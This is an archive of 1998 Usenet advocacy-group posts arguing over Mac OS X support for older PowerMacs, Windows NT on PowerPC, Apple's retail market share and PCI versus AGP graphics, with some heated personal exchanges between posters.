minute. Yes, extended OS X to support PCI based
> > Macintosh computers may push OS X's release date back
further...but not
> > that much. How much different can these two platforms be? And
why
> would
> > testing for these systems be so difficult? One would think that
Apple
> > would only have to test the parts that interface with the
underlying HW.
> > Mac OS 8.x runs on both of these systems, and so does
Rhapsody...why
> can't
> > Mac OS X?
>
> The main kicker here is Carbon. Even with the really nasty APIs
thrown
</X-FONTSIZE><SMALLER>> </SMALLER><X-FONTSIZE><PARAM>12</PARAM>out,
the remaining MacOS API is not particularly well separated from the
> underlying hardware. (I know there's a term for this separation, it
> skips my mind at the moment.) NeXt/OpenStep/Rhapsody was designed
> with
> this separation, so the API is much easier to move from one platform
to
</X-FONTSIZE><SMALLER>> </SMALLER><X-FONTSIZE><PARAM>12</PARAM>another.=
</X-FONTSIZE><SMALLER>>
Let me get this right! The "main kicker" for getting Mac OS X running
on older
hardware is getting Carbon to run on those systems. Yet Apple have
said that
Carbon will be supported on Mac OS 8.?, (without the stability and
performance
of course). Hmmm...right!
Gary.
--
---------------------------------------------------
This message was created and sent using the Cyberdog Mail System
---------------------------------------------------
</SMALLER>
--Cyberdog-MixedBoundary-00089880--
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac vs. Aptiva
Date: Sun, 26 Jul 1998 19:33:08 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607981933080001@sdn-ar-001casbarp068.dialsprint.net>
References: <6p6fp4$j7q$1@nnrp1.dejanews.com> <35b9f726.0@news.together.net> <joe.ragosta-2507981305390001@elk60.dol.net> <35bbc75e.0@news.together.net> <joe.ragosta-2607982106360001@elk91.dol.net>
In article <joe.ragosta-2607982106360001@elk91.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > >> >Price: iMac: $1,468; Aptiva: $1,280
> > >> >
> > >> <SNIP>
> > >> ..
> > >> >Style: The iMac is cool. The Aptiva looks like every other computer.
> > >> >
> > >> ..
> > >> Compaq could completely close the gap and then some by introducing an
> > >> optional translucent case for the Aptiva. Seems simple enough.
> > >> ..
> > >
> > >And it would still have an OS that sucks compared to Mac OS.
> > ..
> > **** In your _opinion_.**** You incessantly insist on omitting this very
> > important caveat.
>
> In my opinion. AND in the opinion of virtually every third party group
> that has ever measured productivity, ease of use, and TCO as a function of
> OS.
Again, you are wrong. The aptiva is capable of running many different
os's especially Openstep. You have ZERO reports of the macos having a
lower tco than openstep.
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sun, 26 Jul 1998 19:33:25 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2607981933250001@sdn-ar-001casbarp068.dialsprint.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com> <joe.ragosta-2507981921450001@elk82.dol.net> <6pdtb7$kif$1@news.xmission.com> <joe.ragosta-2607980734360001@elk85.dol.net> <Macghod-2607981534360001@sdn-ar-001casbarp113.dialsprint.net> <joe.ragosta-2607982022430001@elk91.dol.net>
In article <joe.ragosta-2607982022430001@elk91.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <joe.ragosta-2607980734360001@elk85.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> > > You've got this completely backwards. One of the anti-Apple FUDsters
> > > started this whole thread
> >
> >
> > BZZZZZZ, Wrong. Play again sometime. *I* was the creator of this
> > thread. *I* am not a FUDster, while obviously not everything I say is
> > true, all of it tries to be factual. I finally realized something....
> > 1) Joe has bragged he was some sort of college debate whiz...
> > 2) Joe is by far the most proliferate user of the words troll of fudster.
> > Conclusion: Joe has figured out that to stiffle honest debate, all he has
> > to do is start flinging words around like "troll" "FUDster" etc.
>
> I see you haven't learned to discuss facts--you're still stuck on 100%
> personal attacks.
Kettle? Black?
You said "One of the anti-Apple FUDsters started this whole thread"
I started this thread "apple heading to obscurity"
I havent learned how to discuss facts? Its not a fact you have bragged
you were some sort of college debate wizard? Its not a fact that you are
one of the most proliferate users of the words troll or fudster?
> Where I entered the thread is when someone said that it was completely
> Apple's fault that PPC hadn't captured 10% market share. I objected to the
> statement and pointed out a number of facts.
>
> Whether you might have had some other discussions in this thread is
> irrelevant.
True. BUT I CREATED THIS THREAD. You said a anti apple fudster started
this whole thread.
>I know what I responded to. If you think different, please
> feel free to provide a quote.
And I know I created this thread! It was right after the ken bereskin article.
1) I CREATED THIS THREAD
2) YOU SAID the creator of this thread was a anti apple fudster
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.os.linux.advocacy,comp.unix.bsd.freebsd.misc,comp.os.ms-windows.nt.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.os.os2.advocacy,comp.os.ms-windows.advocacy,comp.os.mac.advocacy,comp.sys.mac.advocacy
Subject: Re: A way to be PC-less
Date: Sat, 25 Jul 1998 15:50:55 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <slrn6rkoaf.297.jedi@dementia.mishnet>
References: <Pine.LNX.3.96.980725095429.2732A-100000@paule>
On Sat, 25 Jul 1998 10:17:24 -0400, steve <steve@paule.ncpa.olemiss.edu> wrote:
>This is neither a joke, nor an invitation for flames. If you don't
>approve of this, please just ignore it, okay?
>
>Well, now. As a lot of you
>mac guys mislike pc's, if anyone has an old
>one laying round, a 486 or an older pentium, my wife, a teacher, and I
Try an old computer recycling firm of some kind.
There's a chain on the west coast that sells old
486's for $100 & used monitors for $100.
>could sur use a donation, for reasons best not gone into at this time.
>Seriously (despite the Due South reference), if anyone has an old pc in
>the attic or closet or basement, and could spare it, we'd appreciate it.
>
>Naturally, if a windows or linux or freebsd type wants to donate,
>we would hardly object!
>
>Thanks,
>
>Steven Zanvil Sawolkin
>228-G Freedom Dr.
>Belleville, IL
>U.S.A. 62226-5184
>618-277-7380
>lymond@peaknet.net
>alternate: jgerdes@stlair.k12.il.us
If this could be construed as some sort of educational
donation, whynot solicit the local businesses? My company
just gave a whole buncha 486's and slow pentia to some
local elementary school.
--
Hardly. Microsoft has brought the microcomputer OS to
the point where it is more bloated than even OSes from |||
what was previously larger classes of machines altogether. / | \
This is perhaps Bill's single greatest accomplishment.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 26 Jul 98 20:59:59 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E14963-127A3@206.165.43.43>
References: <35bbcc48.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Howard S Shubs <hshubs@mindspring.com> wrote:
>> In article <B1E0E952-3F0D5@206.165.43.124>, "Lawson English"
>> <english@primenet.com> wrote:
>
>> >I still don't see how it was obtained. Apple only sells through CompUSA
>and
>> >independent Mac-only stores. This 9.4% figure implies that sales were
>SOOOO
>> >brisk for Macs these past few months through these limited outlets that
>> >nearly 1/10 of all sales for computers through retailers were through
>these
>> >select few stores. Something is bogus about the figure.
>
>> And Fry's, Micro Center, and others.
>
>
>And don't forget that Dell, a biggy, doesn't sell through retail
>much, if at all. Gateway does some retail sales, but not much.
A couple of points:
1) Apple ONLY sells through CompUSA and Mac-only stores, last I heard. Frys
no longer carries Macs unless things have changed drastically.
2) The comparison was for retail sales. Given that Apple only sells through
CompUSA and Mac-only stores (how do they add up the figures for the
Mac-only stores, BTW?), the comparison is for those companies that sell
through retail outlets.
The claim is that Apple now has nearly 10% of that market.
Doesn't make sense.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 20:07:44 -0700
Message-ID: <see-below-2507982007450001@dynamic10.pm03.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <Josh.McKee-2507981112520001@pm3a7.rmac.net> <35ba359f.0@news.depaul.edu>
In article <35ba359f.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Joshua T. McKee <Josh.McKee@cbns.com> wrote:
> > In article <35b9372a.0@news.depaul.edu>, Jonathan W Hendry
> > <jhendry@shrike.depaul.edu> wrote:
>
>
> > > That's not a marketing deadline. That's a survival deadline. If Apple
> > > doesn't ship it, they're dead. Period. No waffling is allowed.
>
>
> > Why is it a survival deadline? We've been told by numerous people that
> > all pre-G3 Mac owners will be able to continue to run Mac OS 8.x (with
> > Carbon support). Thus, they reall don't *need* to run Mac OS X. So if
> > all the people that *need* to run OS X are so small, then why the
> > "survival" deadline? I can't imagine that every new G3 owner *needs* to
> > run OS X.
>
> > It doesn't make sense.
>
> Sure it does. The main market for OS X is business, and professional
> users, particularly Apple's important customer base in graphics, design,
> and web development. These are the people most likely to be looking
> at NT. The longer Apple takes to ship OS/X, the more likely these
> people are to move to NT.
Just like forcing them to replace a perfectly-good computer makes them
more likely to move to NT. You think none of these people you're talking
about have already bought those 300MHz G3 upgrades that six different
companies are selling? Or already own a 9600/350? If so, then why do they
need to buy another computer just to run OS X?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 26 Jul 1998 03:00:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pe64o$g57@news1.panix.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <MPG.10239959b4d252439899f6@news.supernews.com> <6pd4it$a9d$2@news.xmission.com>
On 25 Jul 1998 17:27:57 GMT, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
>Can't. I don't speak for Novell, can't tell you anything about it other
>than Joe is dead-on wrong.
I got the impression that Novell was killing development of everything
except its core product; Netware, during that timeframe.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 26 Jul 1998 03:00:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6pe650$g57@news1.panix.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <joe.ragosta-2407982234350001@elk55.dol.net> <35B987C5.FA589658@nstar.net> <6pd4oe$a9d$3@news.xmission.com>
On 25 Jul 1998 17:30:54 GMT, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
>Joe is right on this one. NT 3.51 and 4.0 have a PPC flavor. I've run it
>on production IBM workstations designed specifically to run NT on PPC. You
>could buy these machines directly from IBM.
There were even 3rd party NT/PPC machines. Firepower systems comes to mind.
What was missing was software. If MS ported its line (Office, Back Office,
VB...) to the NT RISC platforms, they might have taken off.
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 26 Jul 1998 23:12:45 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com>
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On Sun, 26 Jul 1998, Michael M. Eilers wrote:
> In article <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Yup. This is a good thing. Apple really needs AGP though. The lack of it
> > is becoming a major minus to the platform now. PCI just doesn't have the
> > necessary throughput. A lot of support is going into AGP and this would be
> > an area where Apple could add it vaguely like the switchover from NuBus to
> > PCI.
>
> I would say OpenGL is more important than AGP, but I think Apple will go
> that way eventually for the same reason they went PCI: because there won't
> be any PCI graphics cards to buy in 2 years, if the standard takes off,
> the same way the number of NuBus cards was shrinking. I think that the
> introduction of digital monitors (flat-panel all-digital screens) will
> force Apple to go AGP on the high-end models, and Media 100 might go AGP
> as well.
OpenGL is already being covered by a company by Conix apparently. I don't
know how good its support is (right now I think it's all software, not
hardware accelerated), but it is a solution that Apple does not (perhaps)
have to worry about.
I think Apple needs to get on the AGP bandwagon soon or it will be very
left behind. PCI is starting to be a real limitation. The available
bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI would be
fine except that there are already a bunch of good AGP cards out there now
with even better ones coming through the pipeline.
> > Just a note here. Apple has to do _nothing_ to support the G3 upgraded
> > (PCI anyway) PowerMacs. All Apple has to do is support the machines as
> > Apple configured them. The OS will run on the upgrade cards. THe 3rd
> > parties who make the cards then just have to write the drivers to turn on
> > the backside cache and a couple other PPC 750 specific things.
>
> This is interesting. Have any of the third-party cardmakers announced that
> they will patch their drivers for OS X? Will they provide support when
> Apple will not? Will Apple give them enough information to write the
> drivers?
If Apple writes support for the stock 8600s and 9600s (and all the
motherboards that are basically the same as the ones in those machines),
then there is no extra work for G3 upgrade cards to work. The 3rd parties
already know how to enable the G3 specific features. That won't be a
problem. Once Apple covers the motherboard, the 3rd party card makers can
write drivers to enable the features of their cards.
Apple doesn't need to give them _any_ information. Once Mac OS X supports
these machines, Apple can die and all the people employed there disappear
and the G3 upgrade cards will still work with the OS.
> > Yup. There is time yet. 6 months into the project, Apple could decide
> > things are going so well that adding support for these machines will not
> > affect the original scheduled release. It could be that Apple's schedule
> > is not so ambitious as it seems and that support for older machines will
> > be possible. It might be that it truly wouldn't take too much extra work
> > (as I suspect) and Apple could do it without affecting the release
> > (significantly).
>
> If it as as easy as you make it sound, then Apple has no excuse. But I
> suspect (as many others on this thread do) that there is more involved
> here than technical problems with supporting OS X on non-Apple G3 machines
> and pre-G3 machines.
Apple can certainly make this a big deal for itself. It can chose to
ignore OSF Mk (the Mach kernel in MkLinx which sounds exactly what Apple
describes as being in Mac OS X). Even then, the job is not all that big as
far as I can see. It's not trivial, but I think Apple has the resources
and certainly the money to do it.
This _is_ a job where throwing more money at the problem helps (to a
point). The driver support for these Macs will take relatively little time
and effort. The testing is something that responds well to more money
(though the fixing of found bugs does not). Development of the kernel for
the older hardware and the driver support can be done in parallel with the
other projects (like Yellow Box updating, POSIX support, and Carbon).
It is a non-trivial job, but it is very far from an impossible task. What
Apple has already done since buying NeXT seems much more ambitious to me
than what they are planning for the next year or so. Granted Apple isn't
as big as it was, but it is also not in the same turmoil that it was last
year.
Apple could take just a few million dollars out of its profits (even that
is probably a huge overestimate) and support these machines. Assuming the
rest of Mac OS X stays close to schedule, the extra time should not be
very significant (a few months) and as I said before, a lot of it can be
done in parallel.
> It may have to do with the level of tech support
> Apple wants to give, or with Jobs' politics, or with a simple wish for a
> clean slate.
I would not forgive the "Job's politics" reason.
I'd be bothered by the "clean slate" and the "level of tech support"
reasons.
> I personally think it is because Apple expects only the
> high-end users to *need* OS X; for the majority of us, the extra stability
> and speed will be a bonus, but not mission-critical. And if only the
> high-end users are buying, why not sell them some shiny new hardware to go
> with it?
If high end users _choose_ to buy shiny new hardware to do it, that's
fine. I don't think the kind of encouragement Apple will be doing is going
to make many of these people smile while going along with it. Some will
leave the platform _because_ of this.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 10:32:47 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35B9FA9F.A58BA755@nstar.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pckts$au$1@nnrp03.primenet.com>
<slrn6rjs21.3h2.jason@jhste1.dyn.ml.org> <6pctg8$ji6$1@nnrp02.primenet.com>
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NNTP-Posting-Date: 25 Jul 1998 15:42:47 GMT
John Jensen wrote:
> Booting from HD on G3 just became possible two days ago. Before that I
> suppose they launched Linux from the MacOS. This doesn't sound like an
> open book to me. It sounds like the LinuxPPC people are teasing hardware
> info out as they can.
No. They're just a bunch of whiners.
MJP
rom the hard disk is
possible! We'll have a better report and instructions as soon as
possible." - (http://www.linuxppc.org/new/)
Booting from HD on G3 just became possible two days ago. Before that I
suppose they launched Linux from the MacOS. This doesn't sound like an
open book to me. It sounds like the LinuxPPC people are teasing hardware
info out as they can.
John
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 16:53:32 GMT
Organization: I don't think so
Message-ID: <slrn6rk3k0.ap.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <6pbia6$mbj@newsb.netnews.att.com> <6pc1sr$jr3@bgtnsc02.worldnet.att.net> <joe.ragosta-2507980701040001@elk43.dol.net> <35BA0326.68639EC@nstar.net>
Michael Peck posted the following to comp.sys.mac.advocacy:
>Joe Ragosta wrote:
>> If that's not enough, Linux has done it
>> and Be can build on their work.
>Someone needs to read the GPL.
I'm not so sure that the GPL would prevent someone from looking at
the code, figuring out how the device works from the code, and then
writing their own driver. I'm pretty sure that the NetBSD/powerpc
people have looked at the Linux/PowerPC source to learn about the
PowerMac hardware, but *BSD is not GPL'd, and the BSD License is
not compatible with the GPL, so they need to rewrite the code (which
they presumably are doing).
I don't think that Joe was suggesting that Be Inc. drop big chunks
of Linux code into BeOS.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 17:30:54 GMT
Organization: XMission Internet http://www.xmission.com
Message-ID: <6pd4oe$a9d$3@news.xmission.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <joe.ragosta-2407982234350001@elk55.dol.net> <35B987C5.FA589658@nstar.net>
NNTP-Posting-Date: 25 Jul 1998 17:30:54 GMT
In comp.sys.next.advocacy Michael Peck <mjpeck@nstar.net> wrote:
> Ragosta dodges...
> > You're wrong. NT 4.0 _was_ ported to PPC. MS just decided not to continue it.
> No, Ragosta, you're wrong. Microsoft never ported NT to PPC.
> > Which you still haven't provided a shred of evidence for.
Joe is right on this one. NT 3.51 and 4.0 have a PPC flavor. I've run it
on production IBM workstations designed specifically to run NT on PPC. You
could buy these machines directly from IBM.
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 19:14:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pdaqn$po4$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com>
In article <MPG.10239d85c7aea4289899f7@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Yup. It said that the project known as Copland would run on all PPC
> Macs. If Copland had shipped and that wasn't true, not all PPCs could
> run it, you'd have a major point.
First of all, shipping a product that they promised doesn't absolve them of
lying. They said that I would be able run Copland on my 6100. Will I be able
to? No. Secondly, Apple refered to Copland as their "next generation"
operating system before the Copland code name was widely known. So I am still
awaiting their "next generating" operating system for my 6100.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 13:34:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2507981334580001@sf-usr1-25-153.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <6pblj8$q9a$1@bunyip.cc.uq.edu.au>
In article <6pblj8$q9a$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote in message
> 35B8E0E1.7202D351@ericsson.com...
> >Joe Ragosta wrote:
>
> >> Or Windows NT? Last time I checked, NT is selling reasonably well.
> >
> >Last time I checked, Microsoft has not yet agreed to port Windows NT to
> >PPC. Check me if I'm wrong. I don't remember Microsoft being a part of
> >the "bargain".
>
> NT has had a PPC port since at *least* version 3.51.
It just won't run on Macintoshes and there will NOT be a PPC 5.0.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 13:39:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2507981339230001@sf-usr1-25-153.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <joe.ragosta-2407982234350001@elk55.dol.net> <35B987C5.FA589658@nstar.net>
In article <35B987C5.FA589658@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > OS/2 _is_ still shipping, but not for PPC. And what's your point about AIX
> > and HP/UX?
>
> Ragosta dodges...
>
> > You're wrong. NT 4.0 _was_ ported to PPC. MS just decided not to
continue it.
>
> No, Ragosta, you're wrong. Microsoft never ported NT to PPC.
Yes they did. In fact, If you have an older NT4 package, it says right on the
box that the CD contains NT for both Intel and PPC. HOWEVER, the PPC
version will NOT run on Macintoshes. It would run on IBM 6000 series Minis
and I have seen it demonstrated on Motorola CHRP machine prototypes. No
matter, there are no apps for it (that I'm aware of) anyway.
George Graves
Message-ID: <35BA45C0.5C792D59@unet.univie.ac.at>
Date: Sat, 25 Jul 1998 22:53:20 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <6pblj8$q9a$1@bunyip.cc.uq.edu.au> <35B9882B.E1AA3A0F@nstar.net>
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Michael Peck schrieb:
>
> Christopher Smith wrote:
>
> > NT has had a PPC port since at *least* version 3.51.
>
> Yes, written under source code license by Motorola. As I said, Microsoft
> was never part of Joe's fictitious "bargain".
>
> MJP
It *was* distributed through Microsoft's Developers program along with
the other ports.
Christian Benesch
Date: Sat, 25 Jul 1998 19:21:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2507981921450001@elk82.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <6pbko2$jvn$1@news.xmission.com> <joe.ragosta-2507980655350001@elk43.dol.net> <6pd4gp$a9d$1@news.xmission.com>
In article <6pd4gp$a9d$1@news.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> > In article <6pbko2$jvn$1@news.xmission.com>, Kristofer Jon Magnusson
> > <kris@xmission.xmission.com> wrote:
>
> > > In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> > >
> > > > Novell dropped Netware for PPC.
> > > > APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
> > >
> > > You don't know what you are talking about.
> > >
>
> > Nice rebuttal. I present a bunch of facts and you just mouth off. Care to
